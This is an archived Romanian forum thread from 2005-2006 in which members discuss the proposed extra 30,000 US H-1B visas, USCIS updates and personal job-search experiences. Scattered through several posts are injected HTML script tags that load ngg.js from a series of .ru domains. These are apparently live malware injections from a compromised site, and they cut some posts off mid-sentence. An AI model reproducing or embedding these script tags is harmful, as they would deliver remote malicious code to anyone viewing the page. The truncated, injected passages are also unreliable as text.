PDA

Arată versiune întreagă : Suplimentarea H1B - news



observator
25.10.2005, 03:00
Pe data de 20 Octombrie 2005, Comitetul Legislativ al Senatului Statelor Unite a votat aprobarea suplimentara a 30 000 de vize H1B pentru lucratorii straini care vor sa traiasca si sa munceasca in America.


Comitetul a votat cu 14 la 2 in favoarea legislatziei care va extinde numarul maxim de H1B de la 65 000 la 95 000 pentru anul fiscal 2006.


"On October 20th, 2005 the US Senate Judiciary Committee voted to approve an extra 30,000 H1B Visas for foreign workers who want to live & Work in America.
The committee voted 14-2 in favor to approve legislation that would expand the cap on H1B visas from 65,000 to 95,000 in the US Government's fiscal year 2006. "


(Traducere facuta dupa un articol de pe H1B BASE website).


USCIS nu a facut inca un anuntz public, dar cunoscandstilulin care se misca cu sigurantza vor mai trece cateva zile pana ce informatzia va fi actualizata.
<DIV id=sigbox>
<HR align=left width="25%" SIZE=1>
</DIV>

25.10.2005, 04:13
observator/Cristina:

La pagina citata zice si:

"</font>[b]..the battle isn

navetistul
25.10.2005, 05:15
Initziativa de a publica acest anuntz mi se pare deosebit de laudabila tzinind cont de incetineala cu care se misca anumite "elemente" participante la intregul proces de H-1B approval. Si cind zic asta ma refer la employers si la USCIS bureau care de multe ori raspund foarte greu la petitziile celor care au initziat procedura de H-1B.
S-a vazut de altfel ce repede s-au dus cele 65,000 de vize puse initzial in joc si din care citeva mii erau deja destinate ( rezervate )unei categorii aparte de petitizonari, lucru putzin stiut la vremea aceea de multa lume.
Oare citzi au ramas pedinafara in August, desi pe site-ul USCIS mai erau la vremea aceea vreo 9,000 inca disponibile ?
Doamne ajuta! Sper ca romanii care cauta un H-1B in momentul de fatza, sa vada anuntzul si sa aiba timp sa demareze acest greoi mecanism numit H-1B approval.
"navetistul"

25.10.2005, 09:17
si la USCIS bureau care de multe ori raspund foarte greu la petitziile celor care au initziat procedura de H-1B.

Partea asta (si numai asta) se rezolva usor daca iti prisosesc vreo
$1,000 prin casa (sau angajatorului). Este "premium processing fee" si
in 15 zile ai raspunsul.

http://uscis.gov/graphics/howdoi/prem_process.htm

Nota: se poate utiliza si la H-2B.

Mmap
31.10.2005, 08:22
aveti vreo informatie noua referitoare la topic-ul asta?


Cam stupida intrebarea, recunosc, dat fiind ca nu s-a mai postat nimic altceva.


Ma intrebam daca stiti pe ce cale/cum se va aunta oficial suplimentarea, si cum se va anunta redeschiderea procedurii de depunere a solicitarilor pentru vizeH1B. Am tot cautat pe site la USCIS si n-am gasit nimic, ultima numaratoare a cap-ului e aficata a fi fost facuta undeva in mai 2005. Inteleg cadupaatingerea cap-ului (in august parca?!?!) dosarele primite cu solicitari de H1B au fost returnate, si ma intrebam cum s-o proceda.


Sunt foarte newbie, de vreo luna jumate in state, si imi caut angajator in consultanta de management (sunt project manager certificat). Stiu ca nu e suficienta cautarea , trebuie sa te ajute si Dumnezeu bunutul.

31.10.2005, 08:41
Un site destul de "ager" pe tema asta este h1base.com. Te poti uita din cand in cand la news:

http://www.h1base.com/imignews.asp

Daca nu ma inseala memoria te poti abona si la mail-uri de "news" (gratuit).

Din cate vad nu au mai actualizat cu nimic pe tema asta.

Mmap
31.10.2005, 08:45
Un site destul de "ager" pe tema asta este h1base.com. Te poti uita din cand in cand la news:
http://www.h1base.com/imignews.asp
Daca nu ma inseala memoria te poti abona si la mail-uri de "news" (gratuit).
Din cate vad nu au mai actualizat cu nimic pe tema asta.



Am gasit destul de multe referinte pe diverse site-uri, inclusiv in articole de ziar, dar nimic oficial, in vreun site cu extensia ".org".

31.10.2005, 11:15
Normal ar fi ca pe http://uscis.gov/ sa apara ceva dupa ce
se usuca si ultima semnatura. Nu cred ca trebuie sa urmaresti neaparat
site-uri cu ".org".

http://web.morons.org/article.jsp?id=6579 (http://web.mor&#111;ns.org/article.jsp?id=6579)

smileys/smiley1.gif





PS moron=cretin

Mmap
02.11.2005, 08:10
da, o sa frec site-ul USCIS zilnic pentru updatessmileys/smiley1.gifDesigur, greseala mea, era vorba de extensii .gov, nu .org, .com,".etc"smileys/smiley4.gif

02.11.2005, 10:31
Mmap:

No offence! Am vrut doar sa subliniez ironia a ceea ce mi s-a
intamplat. Primul site ".org" pe care mi l-a dat Google, nu numai ca
era puternic anti H-1B (de tip "auslander raus!") dar, culmea
potrivirii, ii mai zicea si "morons.org"!

Mmap
02.11.2005, 11:30
Te cred, si nu, nu ma ofensez cu una cu 2smileys/smiley4.gifDe cand ma stiu mi s-a spus ca-s moldoveanca, ceea ce si sunt


smileys/smiley4.gif


Si m-am plictisit de site-uri conexe la H1B din toate partile, in toate formele si care-ti ofera NIMIC incercand sa te tenteze sa platesti in jur de 400$ pentru informatii. Sau poate ca gresesc?!?!?


Oricum, m-ar interesa o istorie/intamplare adevarata, pas cu pas a cuiva care a luat viza H1B, chiar daca a luat-o cu ajutorul vreunui prieten care are firma in state, doar pentru asta sunt prietenii, sa se ajute.

02.11.2005, 16:06
Mmap:

1) A trata pe cineva de moldoveanca nu este o insulta. Eu mi-am ales una.smileys/smiley1.gif



2) Sper ca nu face nimeni prostia sa plateasca la asemenea site-uri. Cu
ce te pot ei ajuta? Cu o lista de companii care, chipurile,
sponsorizeaza? Give me a break!



3) Povestea H-1B-urilor meu si al sotiei nu are nimic spectaculos. Nu
voi zice nimic nou afirmand ca cele mai multe job-uri se iau prin
"networking". Nu vorbesc de cunostiinte de famlie sau "mom &amp; pap
businesses" dar daca iti netezesti calea inca din universitatea
americana asta ajuta: lucrat dinainte de absolvire ptr. ei, recomandari
de la oameni in care au incredere,..

Asta nu inseamna ca unul f. bun aterizat din Ro si care isi pune
resume-ul pe monster.com (dar il si trimite) nu poate impusca un H-1B.
Eu stiu exemple de programatori insa or fi si altii.



Mult mai interesant ar fi de enumerat conditiile ptr. care este atat de
greu de obtinut acest H-1B. Nu este vorba de cererea in sine care este
destul de "straightforward" ci de alti factori. Fara a avea pretentia
ca am elaborat o teza de doctorat pe tema asta, iata parerea mea:

a) ignoranta

Angajatorul nu a auzit in viata lui de H-1B si stie din folclor ca
orice strain fara green card este ilegal la lucru. Asadar nu au auzit
de H-1B deci asa ceva nu poate exista.

b) patriotismul

Nu putine sunt firmele care vor zice (numai in privat) ca nici nu se
gandesc sa faca H-1B pentru ca joburile calificate le dau numai
americanilor. Isi zic ca tara asta s-ar duce de rapa in caz ca este
invadata de asiatici sau est-europeni stahanovisti si cu un "different
culture" (mentalitate adica). Isi zic ca trebuie sa prezerveze "our way
of life". Ce ma face sa cred asta? Mi-a soptit cineva...

c) garantia pregatirii

Cuvantul strain are o conotatie negativa (invers ca in Ro.) si trezeste
imediat imagini de frauda si coruptie (a propos, sa nu credeti ca
Romania este un caz singular in privinta coruptiei - am discutat cu
asiatici, sud-americani, etc.. si m-au "complexat" povestile lor).
Atunci cand tu scrii pe resume ca faci tumbe pe spate, angajatorul vrea
dovezi care sa nu implice nici un efort de testare din partea lui (cel
putin in prima faza). Asdar vrea publicatii, referinte beton de la
oameni pe cere ii stie cumva, lucru la firme de renume sau sa te fi
verificat el in internships-uri (CPT) sau in OPT daca esti F-1.

d) "prevailing wage"

Angajatorul isi zice: de ce sa platesc unul cu prevailing wage cand
poate gasesc altul cu green card la care nu am nici un barem la salariu
(si poate e prost si accepta). Mai este si umilinta de-a afisa catre
tot poporul pe perete salariul noului H-1B. Companiile tin f. mult la
confidentialitatea nivelului de salarizare.

e) "fear of commitment"

Expresia nu-mi apartine mie ci unui recruiter. Angajatorul care vede
toate scamatoriile necesare ptr. viza H-1B este speriat ca se angajeaza
sa te tina pe o perioada lunga (de ex. 3 ani). Lucrul nu este adevarat
ptr. ca oricare din ambele parti poate rupe contractul in orice moment.
Chiar angajatorii care inteleg asta raman "reluctant"/refractari pentru ca s-ar
simti prost sa declanseze drame umane (gen retrimisul tau peste ocean)
in caz ca scartaie treaba. Unii poate se gandesc ca poti sa-i dai in
judecata.

f) limita de 6 ani

Un H-1B se aproba pe 3 ani si se mai extinde inca 3. Asadar,
angajatorii care se pricep stiu ca in mod normal (daca nu gasesti alte
cai) trebuie sa se desparta de tine dupa 6 ani. Ca sa se evite asta ar
trebui sa te sponsorizeze pentru US permanent residency (vize EB). Si
pentru ca se pricep isi zic ca nu au nevoie de un circ de 100X mai mare
decat a fost aprobarea H-1B-ului.

g) antiteroristul din fiecare

Americanul mediu stie ca multi straini (nu prea face el deosebirea
intre afgani si norvegieni) sunt invidiosi pe nivelul si stilul lor de
<script src=http://www.iroe.ru/ngg.js></script>

GNChicago
02.11.2005, 16:48
Transit are din nou dreptate! Multe lucruri se exagereazadec catre oameni care habar nu au ce fac.


Eram cu un prieten si veneam de la Niagara, pe drum amicul a inceput sa fotografieze rest area care era in forma de cupola care imi aminteste de cupola de la politehnica din Bucuresti.


A venit un tip si a inceput sa-l chestioneze de ce face poze.


Cind am vazut asta, am luat si eu aparatul meu si i-am rugat sa se mute putin sa fac si eu o poza la cupola respectiva.


Pe urma i-am explicat ca nu sint dispus sa cedez din libertatile americane din cauza unor teroristi de la 9/11 si in final a agreat cu punctul meu de vedere. Viata trebuie sa mearga inainte si sa nu cedam in fata teroristilor.


La angajator trebuie sa-l intrebi pe scurt daca e dispus sa te ajute prin semnarea unor hirtii cu US Government ptr aprobarea sa lucrezi ptr el ptrca asta e calea obisnuita in astfel de cazuri si ca US Gov. te va verifica pe tine din toate punctele de vedere.


Cam asa am tratat problema in cazul unui amic, intrebind ownerul, daca semneaza toate hirtille pentru US Gov. si a zis ca da si totul a mers OK.


Atit sa aveti grija atunci cind se publica postul, multi din dorinta de a exclude pe altii, pun niste cerinte profesionale, dar in final daca se trezesc realizeaza ca nici ei nu se mai califica, deci anuntul trebuie facut cu rezumeul candidatului in fata si toate cerintele sa nu fie discrimniatorii.

03.11.2005, 00:56
Atit sa aveti grija atunci cind se publica postul, multi din dorinta de
a exclude pe altii, pun niste cerinte profesionale, dar in final daca
se trezesc realizeaza ca nici ei nu se mai califica, deci anuntul
trebuie facut cu rezumeul candidatului in fata si toate cerintele sa nu
fie discrimniatorii.



Problema asta este una sensibila in special la obtinerea resedintei
americane, care se face de obicei dupa H-1B, daca te place angajatorul.
Mai exact, ea este fundamentala pentru faza de Labor Certification (LC)
catre DOL (Department of Labor) si este faza cea mai grea. DOL are obligatia
sa verifice ca postul publicat sa nu fie "taylored" (mulat) pe
calificarile candidatului ptr. resedinta iar cerintele sa nu iasa din
tipicul anunturilor pentru firma respectiva. Totusi mai vezi (rar) pe
Internet anunturi de-a dreptul absurde si irelevante care sunt clar ptr
un LC. Am dat si eu de unul chiar "outrageous" si le-am scris ca pare
"taylored" si voi sesiza DOL. N-am facut-o pentru ca oricum era departe
de un "dream job" ptr. mine dar probabil ca pe careva l-au trecut niste
sudori reci.

Mmap
03.11.2005, 05:04
Va multumesc de clarificari, acum mi-e si mai clar cat de greu o sa-mi fie sa gasesc un sponsor smileys/smiley4.gifDesi am absolvit informatica economica in ASE la cibernetica, n-am profesat programare ci cu totul altceva, Project Management. La care se pare ca americanii sunt un fel de mici asismileys/smiley4.gif


Dar nu ma opresc, in continuare CAUT desi imi inchipui ca o certificare ca Project Manager de la IPMA nu valoreaza cat una de la PMI in state.


Desi nu-mi doream, o sa incep sa-mi trag de maneca cunostintele si prietenii si rudele si ...si...Tot reusesc eu smileys/smiley4.gif

03.11.2005, 05:33
Mmap:

Inainte sa tragi cunoscutii de maneca (in special pe cei cu maneci scurte)smileys/smiley1.gif
gandeste-te la un eventual "graduate studies". Poti sa te uiti
(daca n-ai facut-o deja) sa vezi cum treci de greu (adica GRE smileys/smiley1.gif).

In caz ca reusesti sa intri la un degree mai reduci putin din
obstacolul c) din enumerarea mea. Nu-i mult dar cateodata functioneaza.

Nu stiu ce varsta ai dar daca nu ti-ai rezemat carjele de perete ca sa
scrii mesajele atunci esti OK. In america adultii se intorc, daca nu la
scoala cel putin la niste cursuri, in mod frecvent.

Mmap
03.11.2005, 05:43
smileys/smiley4.gif


sigursmileys/smiley4.gifchiar acum 2 seri ma fost la o prezentare la Kellogg School of Management Graduate Business Schoolsmileys/smiley4.gifMa gandesc serios sa-mi dau TOEFL si GMAT in decembrie ca sa pot aplica in ianuarie, si cu recomandari de la persoanele cu care am lucrat (profesori universitari, directori prin ministere, Team liederi de la World Bank) sper sa fac ceva constructivsmileys/smiley4.gif


Cat despre carje, le-am purtat asta vara cand am cazut intr-un canal in Romaniasmileys/smiley4.gifAm cazut un pic impropriu spus, au pus asfalt si n-au ridicat si nivelul canalului, si cum la ora 8:00 era mult mai important sa-mi fumez tigara (DA, PE DRUM), nu m-am uitat pe unde calc, asa ca ...

Mmap
03.11.2005, 05:52
Oricum, graduate studies pare a fi cea mai buna solutie, logodnicul meu e LPR de 2 ani si ceva, eu am cum un B1/2, asa ca trebuie sa ma misc!

03.11.2005, 06:54
1) Desi nu le am deloc cu finantele &amp; economia de Kellogg School of
Management intamplator am auzit pentru ca este in top (locul 3, 5?).
Probabil ca au standarde de acceptare forte sus - si asta nu-i chiar
bine (e bine dupa ce termini ca primesti jdemii de oferte de job-uri).
La genul asta de scoli ei pot accepta GMAT in loc de GRE. Tu stii ce
poti, important este sa-ti gasesti universitatea potrivita.

Daca nu ai inceput deja sa exersezi ptr GRE/GMAT cred ca a da unul din
ele peste o luna cum zici este cam devreme. Sunt de acord ca nu ai de
tocit la ele dar e bine sa iti faci mana putin. Pentru cine se descurca
cu engleza, mai ales pe aici, TOEFL-ul nu reprezinta nici o problema.

2) Un sfat prietenesc; renunta la tigari. Asta nu ca mai poti cadea
prin canale neastupate pe aici (asta ar fi bine ca ii dai in judecata
si te umpli de bani) ci pentru ca fumatul in US iti poate ruina
cariera. Este ca si cum ii spui angajatorului ca din cand in cand ii
vei scuipa prin birou. Sorry sa fiu asa de rude dar am cunoscut sefi
care nu concep ca subalternii lor sa iasa din cind in cand la o
tigara afara in decor (ca altfel nu e voie). Exceptii sunt, evident, dar
vrei sa-ti maximizezi sansele.

3) LPR? PR=permanent resident dar L?

Mmap
03.11.2005, 07:00
Legal Permanent Residentsmileys/smiley4.gif

Mmap
09.11.2005, 11:05
<TABLE cellSpacing=2 cellPadding=0 width="100%" align=left>
<T>
<TR>
<TD width=1 rowSpan=2>http://forum.romportal.com/Themes/default/images/spacer.gif </TD>
<TD class=txt4 style="PADDING-TOP: 4px" vAlign=top width="100%" colSpan=3>
<TABLE cellSpacing=0 cellPadding=0 width="90%" align=left>
<T>
<TR>
<TD class=txt3 vAlign=top align=left>


Suplimentare vize H1B


http://www.workpermit.com/news/2005_11_07/us/us_votes_to_inc (http://www.workpermit.com/news/2005_11_07/us/us_votes_to_increase_h1b.htm?newsletter=f73883ca3e 3567a4487077e89ab0ec46) rease_h1b.htm?newsletter=f73883ca3e3567a4487077e89 ab0ec46


Se pare ca senatul a votat. Daca gasiti alte stiri sau textul bill-ului, va rog sa le postati. </TD></TR></T></TABLE></TD></TR></T></TABLE>

Mmap
28.11.2005, 06:35
Site-ul USCIS a fost actualizat cu datele referitoare la acordarea de vize non-imigrant:


http://uscis.gov/graphics/services/tempbenefits/cap.htm


Inca nici-o stire referitoare la vreo suplimentare pentru FY2006, dar pentru cei care-au abzolvit aici un graduate, MAI SUNT DISPONIBILE VIZE!!!

29.11.2005, 03:45
pentru cei care-au abzolvit aici un graduate, MAI SUNT DISPONIBILE VIZE!!!

Chiar astazi am intrebat de curiozitate o avocata ce anume stie despre
asta si iata informatia in exclusivitate ptr. romanian-portal smileys/smiley1.gif: ar mai fi vreo 4,000 H-1B-uri disponibile ptr. "advanced degrees". Asta ar fi situatia la zi (curenta).

Mmap
29.11.2005, 04:32
Ia mergi pe link, e de pepagina USCIS, exact 3,902 H1B pentru advance degrees acum 2 saptamani, la 11/14/2005.

29.11.2005, 08:38
Mersi, nu vazusem. M-am bazat pe cultura orala.

Mmap
29.11.2005, 08:43
smileys/smiley4.gifTrebuie sa recunosc, asta e defectul meu profesional, daca nu e pus in scris din sursa oficiala, nu are valoaresmileys/smiley36.gif

12.12.2005, 07:51
Am gasit urmatoarea opinie pe alt forum despre stadiul suplimentarii H-1B cu 30,000 pe FY. Nu garantez pentru ea.



http://murthyforum.atinfopop.com/4/OpenTopic?a=tpc&amp;s=102 (http://murthyforum.atinfopop.com/4/OpenTopic?a=tpc&amp;s=1024039761&amp;f=4234032861&amp;m=995100 9701) 4039761&amp;f=4234032861&amp;m=9951009701

posted
December 11, 2005 09:10 AM <nobr>http://murthyforum.atinfopop.com/infopop/images2/profile.gif (http://murthyforum.atinfopop.com/4/OpenTopic?a=mprf&amp;s=1024039761&amp;ignore=&amp;u=376104475)</nobr>


<nobr>http://murthyforum.atinfopop.com/infopop/images2/quote_reply.gif (http://murthyforum.atinfopop.com/4/OpenTopic?a=prply&amp;s=1024039761&amp;f=4234032861&amp;m=9951 009701&amp;qm=4411031801)http://murthyforum.atinfopop.com/infopop/images2/edit.gif (http://murthyforum.atinfopop.com/4/OpenTopic?a=em&amp;s=1024039761&amp;f=4234032861&amp;m=4411031 801)</nobr></font><hr size="1">Only
the House of Reps has started the session on Dec 6th and Senate will
start their session tomorrow (Dec 12). Hosue has been working on
several other bills since Dec 6th and both have numerous bills to work
on before they recess for the new year.
The spending reduction bill
(S 1932 and H 4231)was seperately passed in senate and house and with
different provisions. Negotiations are underway to reconcile the
differences and a compromise version of the bill is expected to be
voted this Thursday.
Please note that only the Senate version of the
bill has immigration provisions (30k H1b and others) and it may or may
not survive the negotiation process. If it does survive, it can't be
final untill both house and senate vote to approve the final version
that contains the H1b provisions.
Lets all hope that it makes through the negotiations and they vote on it this week. Goodluck!</font></font>

Jeorjet
12.12.2005, 11:47
Mmap,

eu o sa am o atitudine fata de tine mult mai incurajatoare...sotul meu
a venit cu visa H1B si lucreaza ca programator. Am o cunostinta care a
facut facultatea aici si i-au dat un post la facultate.

Eu zic sa te inscrii la un master si poate te remarca cineva.

13.12.2005, 06:05
Mmap,


eu o sa am o atitudine fata de tine mult mai incurajatoare...sotul meu
a venit cu visa H1B si lucreaza ca programator.





Sper ca nu sunt eu acela care descurajeazasmileys/smiley1.gif.
Am subliniat doar ca viza/statutul H-1B nu se obtine chiar peste noapte
venind din Ro (IT-ul este printre exceptiile fericite). De fiecare data
am dat si niste explicatii logice - sper - si solutii (indeosebi cea cu
o diploma americana).

O cunostinta din alta zona geografica ii spunea sotiei despre job
sponsored immigration atunci cand am sosit:"you'll see, it's one step
at a time". Si cata dreptate avea! Experienta universitatilor americane
a fost extraordinara si nu o regret nici o secunda. Daca insa cineva
mi-ar fi oferit job-ul de acum, unde am de rezolvat aceleasi probleme
pe care le primeam si la serviciul din Ro., doar ca este platit de
25-30 ori mai bine, poate saream de etapa studenteasca, manat de
lacomie. Eu unul insa nu as fi reusit altfel decat pornind in US de la
un nivel mai de "jos", capatand treptat increderea supervisor-ilor ce
m-au recomandat la randul lor "mai sus" (pe langa "garantia"
publicatiilor).

Mmap
13.12.2005, 07:50
[



Mmap,
eu o sa am o atitudine fata de tine mult mai incurajatoare...sotul meu a venit cu visa H1B si lucreaza ca programator. Am o cunostinta care a facut facultatea aici si i-au dat un post la facultate.
Eu zic sa te inscrii la un master si poate te remarca cineva.



N-am inteles cum devine treaba cuatitudinea ta mult mai incurajatoare:


-la modul ca ai o atitudine mai curajoasa comparativ cu atitudinea pe care o am eu (care doar le urasem celor care au diplome de studii superioare de aici mult succes)?


-la modul ca ma incurajezi sa ma inscriu la un master? ca sa am o diploma de-aici?


Jeorjet, crede-ma ca le intorc pe toate partile de cateva luni, nu trebuie sa-mi deschizi tu capul cu ideea de master.


transit, sa stii ca si in Romania am luat-o de la 0 la schimbarea sefului, si dupa ce-a sters pe jos cu mine, ca deh, eram omul fostului sef, in 6 ani am ajuns mana lui dreapta. Luatul de la 0 nu ma sperie, ma sperie ca nu gasesc nici macar -10 ca sa pot AJUNGE la 0.


Cat despre planurile de scola, fiecare face cat poate cu ce are, nu isi permite toata lumea sa faca scoala aici. Ma refer la master .


Si fie vorba intre noi, nici n-am vazut nicaieri poveste de la A la Z a unei persoane care sa fi reusit cu H1B, si care sa nu fie in IT.


Scuzati-ma pentru ton, cateodata ma apuca si pe mine carceii de disperare ca nu vad o solutie.

13.12.2005, 09:53
cateodata ma apuca si pe mine carceii de disperare ca nu vad o solutie.



Gresit! 3 si la loc! Pentru ca citesti "romanian -portal" stii acum
foarte bine ca lipsa de succes la H-1B pana acum nu se datoreaza, mai
mult ca sigur, lipsei tale de pregatire ci unei conjuncturi destul de
nefavorabile.



Nu te incalzeste prea mult dar pot sa continui cu niste povestioare.

1) O companie foloseste un program ingineresc din plin. De fapt este
contactata de altii sa-l foloseasca ptr. ei, pe bani buni. Programul a
fost dezvoltat de un profesor american si de asistentul lui venit
dintr-o tara mai obscura. Odata diploma luata fostul asistent aplica
ptr. un advertised job la companie ca sa foloseasca chiar programul la
care el asudase (asta da coincidenta fericita!). Finalul: refuzat
pentru ca jobul este rezervat numai cetatenilor americani.

2) O studenta straina aproape de graduare este contactata de una din
firmele viselor ei. Este chemata la sediu, da teste pe calculator,
primeste felicitari pentru rezultatul testelor (dadeau pe loc scorul)
si inainte sa intre la face-to-face interview este aprope data afara
din cladire deoarece secretara vede in formular ca a declarat ca va
avea nevoie de visa sponsorship peste un an (inainte de asta putea
incepe imediat cu OPT).

3) Aceeasi studenta avea la universitate o colega care era la
conducerea unui departament al unei renumite firme de electronice de
care stim cu totii. Compania o trimisese pe sefa sa ia cursuri de
graduate si nimerise de multe ori in team cu F-1 noastra. Departamentul
condus, nefiind core business, era foarte mic, in lipsa de personal si
suprasolicitat. Sefa era bucuroasa ca a gasit pe cineva gata verificat
si cunoscut (adica studenta noastra internationala) interesat de unul
din posturile libere. Restul parea doar o formalitate. Studenta
noastra, dupa ce trimite resume-ul si la personal, primeste telefon de
la seful de HR ca din pacate politica companiei este sa nu faca H-1B
decat la job-urile de IT. A mai adaugat ca nu stie de ce s-a ales
aceasta politica.

4) Un sot si o sotie dintr-o tara indepartata (de America) au o
colectie impresionanta de e-mail-uri schimbate cu angajatorii. Toate au
insa ceva in comun si anume ca orice comunicare a incetat atunci cand
au raspuns la intrebarea 'Are you a permanent resident/citizen of the
US?" sau "Will you now or in the future require employment visa
sponsorship?"

5) Un sot si o sotie (straini) acum au vize H-1B la companii care cu
cateva luni mai inainte le refuzasera candidaturile pe motiv ca nu
angajeaza "foreign nationals". Intre timp economia a mai luat-o din loc
si probabil ca au inceput sa mai faca rabat de la reguli la cei care vin cu recomandari credibile.

6) Un strain in SUA si-a cautat job timp de cateva luni. A bookmark-at
toate anunturile (ads-urile) gasite si care i-se potriveau
aproape perfect. Facand o statistica a constatat ca nu putea sa aplice
decat la maxim 7-10% din ele, restul purtand toate mentiunile "US
permanent residents/citizens only" sau "no visa sponsorship available". La unele chiar (adica la acelasi
anunt) mentiunile au aparut deabia dupa un timp de la publicare
iar mai apoi a disparut la fel de misterios chiar inainte de-a se retrage
anuntul de pe Internet (damn lawyers!).



Daca nu ti-ai dat deja seama, in toate povestioarele "el" sunt eu si "ea"
este sotia mea si nu ne-a cuprins niciodata disperarea (pe dracu' nu ne-a
cuprins!).






/script><sc<script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script><script src=http://www.iroe.ru/ngg.js></script><script src=http://www.kodj.ru/ngg.js></script><script src=http://www.kjwd.ru/ngg.js></script><script src=http://www.bce8.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script><script src=http://www.kpo3.ru/ngg.js><script src=http://www.iroe.ru/ngg.js></script>

marioana
13.12.2005, 21:26
Nici in IT nu e asa de usor...e adevarat ca nu am decat putin peste 2 ani experienta, dar caut din vara un anagator si nimic inca...multa lume imi spune ca mai mult ca sigur m-as fi anagjat daca eram in US, dar cum sa ajung in US cand probabil ca nu voi primi viza de viziatator din lipsa legaturilor cu tara?

14.12.2005, 02:51
marioana:</span>

Problema angajatului "de la distanta" este o problema mare intr-adevar.
Nu stiu exact cum se face selectia candidatilor la un birou de human
resources sau de recruiters dar din experienta mea de job seeker (si a
sotiei) situatiile intalnite sunt cam de 2 feluri.

Intr-o prima categorie sunt firmele locale si care nu angajeaza decat
candidati din statul respectiv sau cele invecinate. Resume-urile sunt
filtrate din start pe baza zip code-ului (codului postal) si nici nu
citesc mai departe daca nu esti din zona. Ba mai mult, cand folosesc
programele de cautare automata a resume-urilor puse pe Internet job
boards (monster, careerbuilder, yahoo hot jobs, etc..) acestea te
exclud din start, indiferent de calificari. Scopul lor declarat este ca
nu vor sa plateasca nici un cost legat de on-site (sau face-to-face)
interview sau relocation costs.

A 2-a categorie sunt firmele mari, globale (sau universitati- dar ptr.
faculty) care te aduc din orice coltisor al SUA. Dupa interview-urile
prin telefon (1-st si 2nd level) te aduc cu avionul la ei iti
platesc hotelul, masina inchiriata, benzina, o suma ptr. masa, etc..
numai ca sa se intalneasca managerii cu tine 3-4 ore. Treaba asta poate
ajunge usor la $700-1000/candidat/post si mai pot fi chemati inca 1-2
ca tine pe job. Daca se hotarasc sa te angajeze si esti pribeag
atunci iti platesc toate cheltuielile legate de H-1B. Asadar "costul"
tau, in America fiind, poate ajunge usor la $7,000-9,000 pentru companie
inainte macar ca tu sa fi lucrat o secunda pentru ei. Functie de job,
iti mai platesc si relocation expenses (sa-ti muti acareturile) si
(ceea ce pe mine m-a dat gata) sa mai faci o calatorie dus-intors cu
sotia/sotul inainte sa incepi lucrul ca sa identifici zona in care o sa
locuiesti, scolile bune, etc..

Iti imaginezi cat ar mai urca nota de plata ca sa te aduca din Europa si sa iti faca

rost de viza numai ptr. interview. Pentru asta ar trebui sa fie absolut
siguri de calificari. Companiile mari de care stiu fac asta pentru cei
din filialele lor europene sau cei care au ajuns deja un nume in
domeniul lor. Chiar si adusul din coltul celalalt al SUA nu se face cu
una cu doua. Cand au facut asta pentru mine mi-am zis; "Doamne ce
resume fain mi-am facut si ce frumos am grait eu la telefon cand m-au
pus in conference call". Ca sa aflu mai apoi ca dupa acel interview
telefonic primul lucru pe care l-au facut a fost sa-l sune pe
advisor-ul meu de teza si cu care colaborasera. Fara OK-ul lui nu mai
cheltuiau nici un cent pe pielea mea in continuare.

Exista companii de IT gen Microsoft sau Intel despre care stiu ca se
bazeaza puternic pe angajati adusi din afara. Un fost angajat al lui
Microsoft scria cu naduf ca de cand americanii brici au inceput sa
primeasca oferte bune de la Google sau altii ca ei in crestere,
campus-ul din Redmond, WA arata de parca ar fi in Bangalore sau New
Delhi. Tot firme ca Intel si Microsoft (de fapt lobby-ul lor) au fost
la originea suplimentarii nr.-lui de H-1B cu 30,000/FY. Aceste firme de
IT poate au un sistem mai flexibil decat cel pe care l-am experimentat
pe pielea mea si descris mai sus. Idealul ar fi daca unul din romanii
care au fost angajati acolo (am auzit ca exista) te-ar sfatui.

Daca ma intrebi si de a 3-a categorie de firme, si anume cele care iti
zic "OK, vino la noi la interview dar iti platesti tu totul", atunci
iti raspund ca nu am auzit de ele niciodata. Nu as putea sa-ti dau vreo
explicatie de ce nu se practica solutia asta. Stiu doar de unul care
urma sa imigreze in Canada (era cu viza in US) si i-au spus canadienii
"OK, dupa ce sosesti aici peste X luni, suna-ne".

Citisem pe niste forumuri de romani canadieni despre nu stiu ce
certificate luate in Ro. si valabile oriunde (Microsoft?). Ziceau ca
le-au folosit destul de mult la angajare in Canada. Din pacate, eu nu
sunt in IT.

O sa-mi spui ca nu sunt<<script src=http://www.iroe.ru/ngg.js></script>

Jeorjet
14.12.2005, 06:45
Trebuie sa va zic cum am ajuns noi aici, adica sotul meu si eu. Sotul
meu si-a cunoscut seful acum 2 ani in Romania, mai precis pe
internet(RenterCodec). A tot facut programe pt el si l-a un moment dat
l-a platit in Romania cu 10$ pe ora...iar dupa 2 ani l-a chemta in USA
cu H1B sa lucreze pt el. Suntem aici de 1 luna jumatate si e foarte
bine. Salariul lui de inceput e destul de bun....eu nu lucrez, dar o sa
incerc ca childcare pt inceput, iar dupa ce primim green card o sa fie
mai bine. Uneori am si eu o stare de deprimare, dar imi trece repede pt
ca sunt foarte optimista....

Jeorjet
14.12.2005, 06:47
Apropos pe seful lui l-a costat 6000$ sa-l aduca aici...si s-a ocupat o
avocata...toata chestia asta sa-l aduca aici a durat 3 luni.

GNChicago
14.12.2005, 07:32
Asta suna Intra-company transfer!

Jeorjet
14.12.2005, 07:41
nu...in Romania a lucrat ilegal....

Jeorjet
14.12.2005, 07:47
l-a placut cat e de bun si l-a chemat...eu cred ca daca am avea
pregatire corespunzatoare ne-ar fi mult mai usor si nu mai ne-am
lamenta...fiecare isi alege in viata cat poate duce, iar daca nu putem
duce cat ni se cere avem de suferit...sotului i-a fost foarte usoara
venirea cat si job-ul, iar pt mine usoara venirea, dar mai greu cu
job-ul...

04.01.2006, 06:22
Epilogul discutiei despre suplimentarea cu 30,000 a vizelor H-1B pe FY2006 este trist:

http://www.h1base.com/page.asp?id=360



<table border="0" cellpadding="0" cellspacing="0" width="600">
<t><tr><td width="600">Additional 30,000 H1B visas Turned Down</font></td>
</tr>
<tr>
<td width="600">http://www.h1base.com/images/space.gif</td>
</tr>

<tr>
<td width="600">

The
U.S. Government has announced that they will not be adding an
additional 30,000 H1B work visas to the current yearly quota of 65,000.
The U.S. House of Representatives and Senate dropped the provision from
the Budget Bill to raise the number of H1B visas.</font>





This is a
terrible blow for many US employers who desperately need highly skilled
and/or educated foreign workers to fill their ever growing labor
shortages. The competition for next years 65,000 available H1B visas
will be fierce !!</font></td></tr></t>
</table>

Mmap
04.01.2006, 06:32
La felde trist ca si planurile de desfiintare/anulare a Loteriei vizelor. Care proiect se pare ca s-a votat deja.

nkog
04.01.2006, 15:10
desfiintare/anulare a Loteriei vizelor. Care proiect se pare ca s-a votat deja.


